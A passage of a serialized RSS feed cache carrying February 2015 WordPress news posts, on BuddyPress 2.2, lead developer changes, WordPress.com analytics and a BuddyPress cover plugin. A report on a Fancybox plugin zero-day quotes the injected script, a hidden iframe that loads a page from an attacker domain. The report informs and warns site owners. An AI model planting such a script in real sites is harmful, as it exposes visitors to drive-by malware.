+0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:29;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:72:\"WPTavern: BuddyPress 2.2 Spumoni Released, Featuring New Member Type API\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=37925\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:81:\"http://wptavern.com/buddypress-2-2-spumoni-released-featuring-new-member-type-api\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:5548:\"<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/l-and-b.jpg\" rel=\"prettyphoto[37925]\"><img src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/l-and-b.jpg?resize=1025%2C498\" alt=\"l-and-b\" class=\"aligncenter size-full wp-image-38537\" /></a></p>\n<p>BuddyPress 2.2 &#8220;<a href=\"https://buddypress.org/2015/02/buddypress-2-2-spumoni/\" target=\"_blank\">Spumoni</a>&#8221; was released today. The name pays tribute to<a href=\"http://www.spumonigardens.com/\" target=\"_blank\"> L&amp;B Spumoni Gardens</a>, a 70 year old, family-owned pizza joint in Brooklyn, NY. This release is packed full of features that offer developers more flexibility in extending BuddyPress.</p>\n<h2>New Member Type API</h2>\n<p>BuddyPress 2.2 introduces a basic <a href=\"http://wptavern.com/buddypress-2-2-on-track-to-provide-a-basic-member-type-api\" target=\"_blank\">Member Type API</a> that developers can use to create different user types, i.e. student, teacher, etc. This new API is a huge step forward for building niche social networks on top of WordPress. It makes it possible to restrict content, filter the member directory, assign different permissions, etc., based on different member types.</p>\n<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/member-types.png\" rel=\"prettyphoto[37925]\"><img src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/member-types.png?resize=304%2C173\" alt=\"member-types\" class=\"aligncenter size-full wp-image-38546\" /></a></p>\n<p>The API does nothing visible for users in this first iteration but can be utilized to create plugins that register different member types and build out further capabilities from there. Admins will be able to change a user&#8217;s member type, which is currently limited to one, via a new meta box that is added to the community profile screen.</p>\n<h2>Custom Post Type Support Added to the Activity Stream</h2>\n<p>Custom post type support for the activity stream is a major feature that has been <a href=\"https://buddypress.trac.wordpress.org/ticket/3460\" target=\"_blank\">three years in the making</a>. Developers can now add support for their post types to be tracked in the activity stream in the same way that updates appear for regular posts via the blogs component. Adding support for CPTs is as simple as including one line of code:</p>\n<pre class=\"brush: php; light: true; title: ; notranslate\">add_post_type_support( \'book\', \'buddypress-activity\' );</pre>\n<p>Note that this feature isn&#8217;t automatically turned on &#8211; a custom post type must declare support for it. The single line of code will add a generic update that can be further customized via arguments added when registering the post type. Comment support for CPT activity items is also optional.</p>\n<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2014/12/cpt-activity.png\" rel=\"prettyphoto[37925]\"><img src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2014/12/cpt-activity.png?resize=1025%2C326\" alt=\"cpt-activity\" class=\"aligncenter size-full wp-image-35302\" /></a></p>\n<p>Custom post types with activity stream support can then be easily sorted via the activity dropdown filters:</p>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2014/12/activity-dropdown.png\" rel=\"prettyphoto[37925]\"><img src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2014/12/activity-dropdown.png?resize=1025%2C366\" alt=\"activity-dropdown\" class=\"aligncenter size-full wp-image-35299\" /></a></p>\n<p>Check out the BuddyPress codex for more information on <a href=\"https://codex.buddypress.org/plugindev/post-types-activities/#adding-the-buddypress-support-and-specific-labels-at-post-type-registration\" target=\"_blank\">how to customize activity attributes</a> when registering a custom post type.</p>\n<p>This release also <a href=\"http://wptavern.com/buddypress-2-2-will-add-support-for-composer\" target=\"_blank\">adds support for Composer</a>. BuddyPress will soon be listed at <a href=\"https://packagist.org/\" target=\"_blank\">Packagist.org</a> now that the official release is out.</p>\n<p>Other notable features and improvements include:</p>\n<ul>\n<li>Several new query API’s (based on WordPress improvements) for retrieving more specific results</li>\n<li>Continued cache enhancements, particularly for multi-site and multi-network WordPress configurations</li>\n<li>Message Meta – Private message conversations are now more flexible with an additional metadata table</li>\n<li>The Activity and Extended Profiles components now support advanced conditional logic, like nested clauses and multiple operators — A AND ( B OR C ). The Activity component now also supports querying by multiple scopes.</li>\n<li>Mentions: Better support for responsive devices</li>\n<li>Improved UI for managing messages, new “Read/Unread” links for each message thread, better bulk message management</li>\n<li>Numerous improvements to the Legacy template pack</li>\n<li>Increased coverage of inline code documentation, actions, and filters</li>\n</ul>\n<p>Check out the full list of improvements on the <a href=\"https://codex.buddypress.org/releases/version-2-2/\" target=\"_blank\">2.2 version page</a> in the codex.</p>\n<p>BuddyPress 2.2 is the result of several months of hard work from 44 contributors. The new features in this release enable the plugin to be more flexible for building niche social networks with different user types and custom content types integrated into the activity stream. The official BuddyPress 2.2 update is now available via the WordPress admin.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 05 Feb 2015 00:26:28 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:30;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:45:\"Post Status: WordPress lead developer changes\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:30:\"https://poststatus.com/?p=8385\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:56:\"https://poststatus.com/wordpress-lead-developer-changes/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:4131:\"<p>Yesterday, <a href=\"https://make.wordpress.org/core/2015/02/03/new-lead-developers-helen-and-dion/\">it was announced</a> that Helen Hou-Sandí and Dion Hulse are now lead developers of the WordPress project. That announcement, we learned today, is tied to another: that Peter Westwood and Ryan Boren <a href=\"https://make.wordpress.org/core/2015/02/04/new-chapters-for-ryan-and-westi/\">are stepping down</a> from their lead developer roles.</p>\n<p>Peter and Ryan have been enormously influential on the project.</p>\n<p>Ryan Boren has been committing to the WordPress codebase for over 11 years (aka: since the beginning), and has more commits &#8212; 7,961 according to Open Hub &#8212; than anyone. Peter has been committing for 7 years, and has 1,261 commits to his name. However, a lead developer&#8217;s influence goes well beyond commit; they are the guardians of the project.</p>\n<p>Both Ryan and Peter have been more quiet lately than years prior. Andrew Nacin describes it like so:</p>\n<blockquote><p>For some time now, Ryan and Peter have avoided weighing in on technical matters. Very simply, when you aren’t able to be active in development, you know you’re not up to speed, and you realize your words shouldn’t carry the weight that they do. Being able to make this <a href=\"http://nacin.com/2014/02/07/how-wordpress-chooses-committers/\">judgment</a> is one of the things that makes both of them such great leaders.</p></blockquote>\n<p>Peter will step into an emeritus role:</p>\n<blockquote><p>Peter will be moving into a dormant/inactive/emeritus status. We hope to have him back when his life and work allows. In the meantime, you may see him committing a bug fix here and there, as he is wont to do.</p></blockquote>\n<p>Ryan has shifted his focus, however, and is concentrating fully on UX in WordPress:</p>\n<blockquote><p>Ryan has been focusing all of his energy on improving UX for more than a year, especially for mobile and touch devices, and especially for workflows like media management. So I’m pleased to say he’ll continue to do that:<strong>Ryan will be spearheading UX for WordPress in 2015.</strong> It’s been a while since we’ve had someone truly focusing on just UX, so this is really exciting.</p></blockquote>\n<p>With this shift, Helen and Dion are stepping into official roles to represent their enormous impact on the project over the last several years.</p>\n<p>(Note: this bit of the post will look familiar to Club members)</p>\n<p>Helen works for <a href=\"http://10up.com/\">10up</a>, a WordPress consulting agency, and spends nearly 100% of her time on the WordPress.org project. She <a href=\"https://make.wordpress.org/core/2012/12/18/commit-promotions/\">received commit access</a> in late 2012, at the beginning of the 3.6 release cycle. You can follow <a href=\"https://twitter.com/helenhousandi\">@helenhousandi</a> on Twitter, and <a href=\"http://helenhousandi.com/\">visit her website</a> as well.</p>\n<p>These are the first additions to the list of lead developers for WordPress since Andrew Nacin became a lead in 2012, before the WordPress 3.5 release.</p>\n<p>I asked Andrew Nacin how these decisions are made, and he responded with the following:</p>\n<blockquote>\n<p class=\"p1\"><span class=\"s1\">After each release, the lead developers review the current list of guest committers, potentially propose new committers, etc. Any proposals are finalized through consensus.</span></p>\n</blockquote>\n<p>This is a big honor and an uncommon occurrence for the WordPress project. Major congratulations are due to both Helen and Dion.</p>\n<p>Also, we all owe Peter and Ryan a huge round of applause and thanks for their contributions &#8212; past, present, and future &#8212; to the WordPress project.</p>\n<p>The WordPress.org <a href=\"https://wordpress.org/about\">About</a> page maintains the list of lead developers for WordPress, and with yesterday and today&#8217;s announcement, we&#8217;re back to five Lead Developers plus Matt Mullenweg as Project Lead. The website now reflects these changes, with fancy (and totally serious) titles for the new lead developers.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 04 Feb 2015 22:52:18 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:15:\"Brian Krogsgard\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:31;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:76:\"WPTavern: Zero Day Vulnerability Discovered in Fancybox for WordPress Plugin\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38478\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:86:\"http://wptavern.com/zero-day-vulnerability-discovered-in-fancybox-for-wordpress-plugin\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:3172:\"<p>Four hours ago, users seeking support on WordPress.org <a href=\"https://wordpress.org/support/topic/possible-malware-2?replies=41\" target=\"_blank\">reported malware injected into their sites</a> from an unknown source. The vulnerability allows for an iframe to be injected, redirecting to a &#8220;203koko&#8221; site.</p>\n<pre class=\"brush: xml; light: true; title: ; notranslate\">\n&lt;script&gt;/*&lt;![CDATA[*/if(navigator.userAgent.match(/msie/i)){document.write(\' &lt;div style=\"position:absolute;left:-2000px;width:2000px\"&gt;&lt;iframe src=\"http://203koko.eu/hjnfh/ipframe2.php\" width=\"20\" height=\"30\" &gt;&lt;/iframe&gt;&lt;/div&gt;\');}/*]]&gt;*/&lt;/script&gt;\n</pre>\n<p>After working together to determine the plugins they have in common, users identified <a href=\"https://wordpress.org/plugins/fancybox-for-wordpress/\" target=\"_blank\">Fancybox for WordPress</a> as the culprit. It has since been temporarily removed from the WordPress Plugins Directory, as it hasn&#8217;t been updated for two years and poses a security threat to users. The plugin has received more than half a million downloads and is likely in use on thousands of WordPress sites.</p>\n<p><a href=\"https://kovshenin.com/\" target=\"_blank\">Konstantin Kovshenin</a> and <a href=\"http://codeseekah.com/\" target=\"_blank\">Gennady Kovshenin</a> worked together to analyze sites from affected users to confirm the vulnerability. There is currently no patch, so users of the plugin are advised to turn it off immediately.</p>\n<blockquote class=\"twitter-tweet\" width=\"550\"><p>If you are running Fancybox for <a href=\"https://twitter.com/hashtag/WordPress?src=hash\">#WordPress</a> turn it off now! It contains a persistent XSS <a href=\"https://twitter.com/hashtag/vulnerability?src=hash\">#vulnerability</a> <a href=\"https://twitter.com/hashtag/security?src=hash\">#security</a> <a href=\"https://twitter.com/hashtag/infosec?src=hash\">#infosec</a></p>\n<p>&mdash; Gennady Kovshenin (@soulseekah) <a href=\"https://twitter.com/soulseekah/status/563054468183654400\">February 4, 2015</a></p></blockquote>\n<p></p>\n<p>Analysts at Sucuri have <a href=\"http://blog.sucuri.net/2015/02/zero-day-in-the-fancybox-for-wordpress-plugin.html\" target=\"_blank\">confirmed via Website Firewall logs</a> that the vulnerability is being actively exploited:</p>\n<blockquote><p>After some analysis, we can confirm that this plugin has a serious vulnerability that allows for malware (or any random script/content) to be added to the vulnerable site. Because it is currently unpatched, we will not disclose more information.</p>\n<p>What makes things worse, is that it’s being actively exploited in the wild, leading to many compromised websites.</p></blockquote>\n<p>Users who have this plugin installed on their sites have no other option than to disable it, as no patch is available yet. The plugin&#8217;s author, <a href=\"https://twitter.com/moskis\" target=\"_blank\">José Pardilla</a>, is aware of the issue and <a href=\"https://wordpress.org/support/topic/not-safe-2?replies=3\" target=\"_blank\">responded to an affected user</a> five hours ago in the plugin&#8217;s forum on WordPress.org. A patch should be forthcoming.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 04 Feb 2015 20:57:33 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:32;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:73:\"WPTavern: WordPress.com Adds Google Analytics for Business Customers Only\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38461\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:83:\"http://wptavern.com/wordpress-com-adds-google-analytics-for-business-customers-only\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:3378:\"<p>Last week WordPress.com <a href=\"http://en.blog.wordpress.com/2015/01/29/google-analytics-for-wordpress-com-business-sites/\" target=\"_blank\">announced</a> that Google Analytics is now available for its customers on the <a href=\"https://wordpress.com/plans/\" target=\"_blank\">business tier</a>, which is priced at $299.00 per year. Users have been <a href=\"http://en.forums.wordpress.com/topic/google-analytics-please/page/3?replies=107\" target=\"_blank\">clamoring for the feature</a> for years. While many enjoy using the built-in Stats feature, it is severely limited in comparison to Google Analytics and the data is not portable if the user moves to another publishing platform.</p>\n<p>Business customers can now enter a GA tracking ID under Settings → Analytics screen in the new site management area.</p>\n<p><a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/google-analytics-wpdotcom.png\" rel=\"prettyphoto[38461]\"><img src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/google-analytics-wpdotcom.png?resize=1025%2C668\" alt=\"google-analytics-wpdotcom\" class=\"aligncenter size-full wp-image-38468\" /></a></p>\n<p>Access to setting up Google Analytics was added to the new backend administration area. Automattic CEO Matt Mullenweg confirms in the comments that all future new features will bypass the old /wp-admin dashboard in favor of the new interface.</p>\n<p>&#8220;[There are] no plans to put any new features into the wp-admin dashboard, beyond what comes from core updates from the open source side,&#8221; Mullenweg <a href=\"http://en.blog.wordpress.com/2015/01/29/google-analytics-for-wordpress-com-business-sites/#comment-217148\" target=\"_blank\">replied</a> to a comment on the post.</p>\n<p>&#8220;You don’t have to stop using wp-admin, and it’s not going anywhere, it’s just not where we’re focusing our energy right now,&#8221; he said, in response to a user&#8217;s confusion about the two separate admin areas. &#8220;As you’ve probably noticed, most of our new updates and iterations are happening in the new interface. You’ll see lots of improvements there in the coming months.&#8221;</p>\n<p>Users on the free and premium plans were disappointed that Google Analytics will not be available for all, given that it&#8217;s a free service. WordPress.com opted to limit the feature to business customers in order to make it more compelling for users to upgrade to the highest pricing tier. They have taken to the WordPress.com support forums to express <a href=\"http://en.forums.wordpress.com/topic/google-analytics-for-all?replies=2\" target=\"_blank\">dissatisfaction</a> in the feature&#8217;s restriction.</p>\n<p>In the past, users have adapted various <a href=\"http://en.forums.wordpress.com/topic/you-can-run-google-analytics-on-a-wordpresscom-blog-heres-how?replies=1\" target=\"_blank\">jerry-rigged methods of adding Google Analytics to WordPress.com sites</a>, using a mapped domain with Cloudflare + Google Analytics enabled. While this is a proven <a href=\"http://jonathonbalogh.com/2012/05/07/how-to-use-google-analytics-on-a-wordpress-com-blog/\" target=\"_blank\">solution</a> for adding the tracking code, it requires using a custom domain with WordPress.com, as well as the ability to follow a few technical instructions. At this time, there is no easy way to add Google Analytics to the bottom tier accounts.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 04 Feb 2015 20:16:14 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:33;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:70:\"WPTavern: Personalize Profile Headers with the BuddyPress Cover Plugin\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38414\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:80:\"http://wptavern.com/personalize-profile-headers-with-the-buddypress-cover-plugin\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:3220:\"<p>Cover photos in user profiles is a design feature in place on many major social networking sites, including Facebook, Twitter, and G+. Users enjoy having the ability to further personalize their profiles beyond the default square avatar. Twitter was one of the last to add this feature to timelines in 2012, and when it did, everyone excitedly rushed to <a href=\"http://mashable.com/2012/09/18/how-to-change-twitter-header-image/\" target=\"_blank\">personalize their header images</a>.</p>\n<p>The <a href=\"https://wordpress.org/plugins/bp-cover/\" target=\"_blank\">BuddyPress Cover</a> plugin was created to bring this feature to BuddyPress sites. It allows users to upload a cover image and adapts nicely to nearly every theme.</p>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/bp-cover.png\" rel=\"prettyphoto[38414]\"><img src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/bp-cover.png?resize=724%2C489\" alt=\"bp-cover\" class=\"aligncenter size-full wp-image-38422\" /></a></p>\n<p>In addition to the AJAX image upload capabilities, the plugin allows the user to drag the image to re-position it. If the image exceeds the maximum file size, the user will see a warning at the top of the page, prompting him to select another. Believe it or not, the plugin even supports animated gifs as cover images.</p>\n<p>BuddyPress Cover also integrates with the activity stream to post an update when a user adds a new cover photo, similar to what you might see on Facebook.</p>\n<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/bp-cover-activity-update.png\" rel=\"prettyphoto[38414]\"><img src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/bp-cover-activity-update.png?resize=644%2C471\" alt=\"bp-cover-activity-update\" class=\"aligncenter size-full wp-image-38440\" /></a></p>\n<p>I tested the plugin with multiple themes and found that it basically inherits the styles and widths included in your active theme. Most likely you won&#8217;t have anything to worry about in terms of theme compatibility. The only thing I noticed is that user profile pictures will need to be larger than 140px square or else the plugin will show the mystery man in the header.</p>\n<p>The plugin&#8217;s author plans to add the same capabilities to groups so that admins add cover photos to personalize group pages. So far the plugin has received excellent reviews and users are eager to see more features added to it.</p>\n<p>User suggestions for future releases include the ability to select from previously uploaded cover photos and auto-cropping of the photo in activity updates to match the size shown in the cover area. The developer is open to suggestions and has already pushed out a few point releases in response to bug reports and requests.</p>\n<p>The BuddyPress Cover plugin is a valuable addition to any developer&#8217;s toolbox, as clients will often request features they have seen on other social networks. If you&#8217;re looking to add greater customization capabilities to user profiles while maintaining the clean design of your theme, this plugin fits the bill. You can <a href=\"https://wordpress.org/plugins/bp-cover/\" target=\"_blank\">download</a> it from WordPress.org.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 04 Feb 2015 00:03:22 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:34;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:29:\"Matt: World Pun Championships\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44646\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:45:\"http://ma.tt/2015/02/world-pun-championships/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:848:\"<blockquote><p>The Pun-Off, held annually since 1978, matches the peculiar energy of a place where the unofficial slogan is &#8220;Keep Austin Weird.&#8221; This is the city, after all, that organizes Eeyore&#8217;s Birthday Party, an outdoor costume party honoring the depressed donkey from Winnie-the-Pooh. [&#8230;]</p>\n<p>It&#8217;s a reunion of legends past. Steve Brooks, a country singer with a mop of gray hair, is the only other person besides Ziek to have won both Punslingers and Punniest of Show in the same year. Retired from competition, he now serves as a judge and emcee.</p></blockquote>\n<p><a href=\"http://www.laweekly.com/news/at-the-world-pun-championships-victory-is-easier-said-than-punned-4767308\">Everything about this article about the World Pun Championships in Austin is amazing</a>, I want to quote the entire thing.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Tue, 03 Feb 2015 23:58:00 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:35;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:64:\"WPTavern: Is WordPress Suffering From The Innovator’s 